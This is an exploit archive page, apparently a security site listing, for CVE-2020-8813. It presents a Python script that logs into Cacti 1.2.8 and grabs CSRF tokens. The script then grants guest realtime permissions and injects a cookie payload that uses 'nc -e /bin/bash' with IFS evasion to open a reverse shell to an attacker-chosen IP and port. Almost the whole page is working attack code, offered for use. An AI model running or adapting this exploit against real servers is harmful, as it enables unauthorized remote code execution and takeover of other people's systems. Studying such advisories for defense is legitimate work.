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Cacti 1.2.8 Authenticated Remote Code Execution

Cacti 1.2.8 Authenticated Remote Code Execution
Posted Feb 26, 2020
Authored by Askar

Cacti version 1.2.8 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-8813
SHA-256 | 56cc6422c5477bd9cb39748c97408cbda4d9c2b376cadcbfd9f1e8930b549790

Cacti 1.2.8 Authenticated Remote Code Execution

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#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True

def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False

def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")

else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()

else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
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